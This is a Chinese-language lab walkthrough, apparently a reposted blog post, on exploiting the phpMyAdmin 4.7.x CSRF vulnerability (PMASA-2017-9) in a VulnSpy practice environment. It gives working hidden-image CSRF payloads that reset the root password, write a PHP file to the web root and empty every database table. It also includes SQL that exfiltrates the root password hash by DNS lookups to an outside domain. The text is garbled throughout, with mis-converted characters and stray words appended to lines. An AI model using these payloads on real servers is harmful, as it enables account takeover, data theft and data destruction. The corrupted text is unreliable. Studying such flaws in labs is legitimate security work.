phpMyAdmin 4.7.x CSRF 漏洞利用

做者:Ambulongphp

 

phpMyAdmin是個知名MySQL/MariaDB在線管理工具,phpMyAdmin團隊在4.7.7版本中修復了一個危害嚴重的CSRF漏洞(PMASA-2017-9),攻擊者能夠經過誘導管理員訪問惡意頁面,悄無聲息地執行任意SQL語句。html

該篇文章咱們將結合VulnSpy的在線phpMyAdmin環境來熟悉該漏洞的利用。mysql

在線 phpMyAdmin CSRF 演練地址:https://www.vulnspy.com/?u=pmasa-2017-9git

注:重啓演示靶機便可重置靶機github

1 在線建立 phpMyAdmin 環境

點擊 VulnSpy 提供的建立靶機地址(https://www.vsplate.com/?github=vulnspy/PMASA-2017-9sql

image.png

跳轉到 VSPlate 後,直接點擊GO按鈕,便會自動建立一個 phpMyAdmin 環境數據庫

image.png

image.png

 

打開演示地址的連接,咱們的 phpMyAdmin 就建立完成了。瀏覽器

image.png

使用賬號 root ,密碼 toor ,登陸 phpMyAdmin 。根據頁面信息,咱們能夠發現當前 phpMyAdmin 的版本爲 4.7.6,恰好匹配存在漏洞的 phpMyAdmin 版本。網絡

image.png

2 CSRF 漏洞利用 – 修改當前數據庫用戶密碼

咱們知道,若是要利用CSRF來刪除或修改數據庫內容,通查狀況下須要提早知道數據庫名、表名和字段名。這樣利用顯得有點複雜,成功率也有限,所以本文咱們將介紹幾種較爲通用的利用方式。ide

在MySQL中支持使用SQL語句來修改當前用戶密碼。好比將當前用戶密碼修改成[www.vulnspy.com](http://www.vulnspy.com),對應的SQL語句爲:

SET passsword=PASSWORD('www.vulnspy.com'); 

利用演示

2.1 模擬管理員登陸phpMyAdmin的狀態。

用賬號 root 密碼 toor 登陸 phpMyAdmin 。

image.png

2.2 建立含有惡意代碼的頁面。

文件名 2.payload.html (將下面的域名換成本身的靶機域名)

<p>Hello World</p>
<img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=SET%20password %20=%20PASSWORD(%27www.vulnspy.com%27)" style="display:none;" /> 

2.3 用瀏覽器打開含有惡意代碼的文件 2.payload.html

image.png

回到上一步打開的phpMyAdmin頁面,發現已自動退出,並且用原來的密碼 toor 已經沒法登陸。

image.png

2.4 使用密碼 www.vulnspy.com 登陸成功,代表利用成功

image.png

3 CSRF 漏洞利用 – 寫文件

MySQL支持將查詢結果寫到文件當中,咱們能夠利用該特性來寫入PHP文件。好比將代碼<?php phpinfo();?>寫到文件/var/www/html/test.php中,對應的SQL語句爲:

select '<?php phpinfo();?>' into outfile '/var/www/html/test.php'; 

利用演示

3.1 將上一個演示步驟相同,只需將2.2中的文件代碼改爲:

<p>Hello World</p> <img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';" style="display:none;" /> 

3.2 用瀏覽器打開含有惡意代碼的文件

3.3 訪問 test.php

image.png

可見文件已經寫入成功。

4 CSRF 漏洞利用 – 獲取數據

MySQL提供了load_file()函數來支持讀取文件內容的操做。好比讀取文件/etc/passwd內容,,對應的SQL語句爲:

select load_file('/etc/passwd'); 

可是對於CSRF漏洞來講,該讀取操做實在目標用戶端執行的,咱們依然沒法知道文件讀取的結果。而load_file()在Windows下支持從網絡共享文件夾中讀取文件,如\\192.168.1.100\share\vulnspy.txt。網絡共享文件的地址處不只能夠填寫IP還能夠填寫域名,咱們能夠經過DNS解析來獲取查詢的數據。

此處須要用到 DNSLOG 之類的工具:https://github.com/BugScanTeam/DNSLog, 這類工具能夠記錄域名的 DNS 解析記錄

好比經過DNS解析來獲取當前 MySQL root 用戶密碼,對應的SQL語句爲:

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.vulnspy.com\\test')); 

獲取當前數據庫名:

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.vulnspy.com\\test')); 

若是請求成功,查詢結果將做爲二級域名的一部分出如今咱們的 DNS 解析記錄當中。

該環境暫沒法演示

5 CSRF 漏洞利用 – 清空全部數據表

若是上面幾種利用方式都沒法直接形成直接的影響,咱們能夠利用SQL語句來清空當前MySQL用戶可操做的全部數據表。

咱們用命令

SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1 

來獲取數據名和表名,並將其拼接成刪除語句(如:DELETE FROM vulnspy_tables.inv),經過 execute 來執行生成的刪除語句:

set @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1); prepare stmt from @del; execute stmt; 

可是 execute 一次只能執行一條SQL語句,所以咱們能夠利用循環語句來逐一執行:

DROP PROCEDURE IF EXISTS EMPT; DELIMITER $$     CREATE PROCEDURE EMPT()     BEGIN         DECLARE i INT;         SET i = 0;         WHILE i < 100 DO             SET @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT i,1);             PREPARE STMT FROM @del;             EXECUTE STMT;             SET i = i +1;         END WHILE;     END $$ DELIMITER ; CALL EMPT(); 

利用演示

5.1 Payload以下

<p>Hello World</p>
<img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/import.php?db=mysql&table=user&sql_query=DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A" style="display:none;" /> 

5.2 用瀏覽器打開含有惡意代碼的文件

5.3 回到 phpMyAdmin 中查看數據

能夠發現數據庫vulnspy_tables和數據庫vulnspy_test中的數據已經被清空。

image.png

6 總結

這個 phpMyAdmin 的 CSRF 漏洞利用有點相似 SQL 盲注的利用,可是對於漏洞觸發的時間不可控(即不知道管理員什麼時候會訪問含有惡意代碼的頁面),所以須要更加通用的利用方式。經過該實驗,不只瞭解該漏洞的內容,還能夠更加熟悉CSRF漏洞的利用。

本文轉載自:phpMyAdmin 4.7.x CSRF 漏洞利用 - https://blog.vulnspy.com/2018/06/10/phpMyAdmin-4-7-x-XSRF-CSRF-vulnerability-exploit/

 

i春秋推出優享會員制,開通會員能夠免費暢享多類課程、實驗、CTF賽題等付費內容,並可享有包括會員日專屬福利、就業推薦等多種特權福利,更多活動詳情可點擊:https://bbs.ichunqiu.com/thread-40795-1-1.html瞭解哦~

相關文章
相關標籤/搜索